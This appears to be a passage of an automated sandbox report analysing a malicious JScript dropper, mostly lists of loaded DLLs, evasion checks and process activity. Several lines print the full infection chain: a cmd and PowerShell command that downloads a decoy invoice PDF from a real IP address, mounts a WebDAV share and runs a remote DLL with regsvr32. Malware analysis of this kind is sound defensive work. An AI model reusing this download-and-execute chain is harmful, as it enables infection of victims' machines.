Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5603.js.csv");ITextStream.WriteLine(" entry:8436 f:advhdz");ITextStream.WriteLine(" exec:2 f:advhdz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4068			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5643			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1068	Thread sleep count: 4068 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1068	Thread sleep count: 5643 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2596	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1456	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1732	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5076	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5820	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7236	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000006.00000003.1738710602.000001ED33769000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1739816457.000001ED33708000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2959542968.000001C725241000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2959440806.000001C72522B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2960925421.000001C72A85A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000002.1680411783.000001DC33443000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}+.

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
